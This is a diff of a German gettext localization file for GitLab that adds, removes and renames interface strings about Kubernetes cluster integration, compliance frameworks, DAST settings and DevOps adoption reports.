msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr "%{appList} wurde erfolgreich auf deinem Kubernetes-Cluster installiert"
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr "%{title} erfolgreich deinstalliert."
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr "%{title} erfolgreich aktualisiert."
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr "Guthaben beantragen"
@@ -7030,15 +7033,6 @@ msgstr "Basisdomäne"
msgid "ClusterIntegration|CA Certificate"
msgstr "CA-Zertifikat"
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr "Cert-Manager"
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr "Zertifizierungsstellen-Bundle (PEM-Format)"
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Wähle, welche deiner Umgebungen du für dieses Cluster verwenden willst."
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr "API-URL kopieren"
msgid "ClusterIntegration|Copy CA Certificate"
msgstr "CA-Zertifikat kopieren"
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr "Kubernetes-Clusternamen kopieren"
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr "Wusstest du schon?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr "Aktiviere oder deaktiviere die Verbindung zwischen GitLab und deinem Kub
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "Aktiviere diese Einstellung, wenn rollenbasierte Zugriffskontrolle (RBAC) verwendet werden soll."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr "Abrufen der Projekte"
msgid "ClusterIntegration|Fetching zones"
msgstr "Rufe Zonen ab"
-msgid "ClusterIntegration|Fluentd"
-msgstr "Fluentd"
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab-Integration"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "GitLab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr "Cluster gruppieren"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr "Wenn du mehrere Cluster einrichtest und Auto-DevOps verwendest, lies zuerst %{help_link_start}dies%{help_link_end}."
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr "Ingress bietet die Möglichkeit, Dienste-Anfragen je nach Anfragehost oder -pfad weiterzuleiten. So werden viele Dienste an einer Stelle zentral zusammengefasst."
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Jupyter-Hostname"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub, ein Mehrbenutzer-Hub, erstellt, verwaltet und leitet mehrere Instanzen des Jupyter-Notebook-Servers für Einzelbenutzer. JupyterHub kann verwendet werden, um Notebooks an eine Klasse von Studenten, eine Unternehmens-Data-Science-Gruppe oder eine wissenschaftliche Forschungsgruppe zu liefern."
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Knative Domainname:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr "Knative erweitert Kubernetes und bietet eine Reihe von Middleware-Komponenten. Diese sind essentiell für moderne, Quellcode-basiert, containerisierte, überall lauffähige Anwendungen: ein eigenen RZ, in der Cloud oder im Rechenzentrum eines Drittanbieters."
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr "Lerne mehr über die Kubernetes Gruppen-Cluster"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr "Keine VPCs gefunden"
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "Bitte stelle sicher, dass dein Google-Konto die folgenden Voraussetzungen erfüllt:"
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr "Projektcluster"
@@ -7516,15 +7411,6 @@ msgstr "Projekt-Namensraum (optional, einzigartig)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr "Entferne die Konfiguration dieses Kubernetes-Clusters aus diesem Projekt
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr "Ersetze dies mit deinem eigenen Hostnamen wenn du möchtest. Wenn du dies tust, verweise mit deinem Hostnamen auf die Ingress-IP-Adresse oben."
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "Anfrage zur Installation fehlgeschlagen"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr "SIEM-Port"
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr "SIEM-Protokoll"
-
msgid "ClusterIntegration|Save changes"
msgstr "Änderungen speichern"
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr "VPCs suchen"
-msgid "ClusterIntegration|Search domains"
-msgstr "Suchdomains"
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr "Wähle eine Zone aus, um das Netzwerk auszuwählen"
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr "Existierende Domain auswählen oder neue verwenden"
-
msgid "ClusterIntegration|Select machine type"
msgstr "Wähle den Maschinentyp aus"
@@ -7675,9 +7534,6 @@ msgstr "Wähle eine Zone aus"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr "Wähle eine Zone aus, um den Maschinentyp auszuwählen"
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr "Auf unserer Seite ist etwas schief gelaufen."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "Beim Installieren von %{title} ist ein Fehler aufgetreten"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr "%{appTitle} deinstallieren"
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "Dein Account benötigt eine %{link_to_kubernetes_engine}"
@@ -7873,12 +7666,6 @@ msgstr "Zone"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "Zugriff zur Google Kubernetes-Engine"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr "erfüllt die Anforderungen"
@@ -7951,6 +7738,9 @@ msgstr "Die Zustimmung des Code-Eigentümers ist erforderlich"
msgid "Code owners"
msgstr "Code-Besitzer(innen)"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr "DSGVO"
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr "HIPAA"
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr "PCI-DSS"
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr "Konfiguration"
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,8 +8745,8 @@ msgstr "Mitwirkende"
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
-msgstr "Steuere die Anzeige von Angeboten Dritter."
+msgid "Control whether to display third-party offers in GitLab."
+msgstr ""
msgid "Cookie domain"
msgstr "Cookie-Domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr "ID kopieren"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "Branch erstellen"
@@ -9456,9 +9222,6 @@ msgstr "Erstelle deine erste Seite"
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr "Cron-Zeitzone"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr "Aktuelles Projekt"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "Aktueller Knoten"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr "Der aktuelle Knoten muss der primäre Knoten sein, sonst sperrst Du dich selbst aus"
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "Farben anpassen"
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -10081,6 +9844,18 @@ msgstr "%{firstProject}, %{rest} und %{secondProject}"
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr "Datumsauswahl"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr "Kommentar entfernen"
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
-msgstr "Diff Inhaltsbeschränkungen"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
+msgstr ""
msgid "Diff limits"
msgstr "Diff-Grenzen"
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr "Nicht erneut anzeigen"
msgid "Done"
msgstr "Erledigt"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "Herunterladen"
@@ -11923,9 +11728,6 @@ msgstr "Tickets bearbeiten"
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr "Öffentlichen Bereitstellungsschlüssel bearbeiten"
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr "E-Mail-Anzeigename"
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Aktiviere die Pseudonymizer-Datensammlung"
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,14 +12055,11 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Aktiviere oder deaktiviere die Pseudonymizer-Datensammlung."
-msgid "Enable or disable version check and usage ping."
-msgstr "Aktiviere oder deaktiviere die Versionsprüfung und den Nutzungsbericht."
+msgid "Enable or disable version check and service ping."
+msgstr ""
msgid "Enable protected paths rate limit"
msgstr ""
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
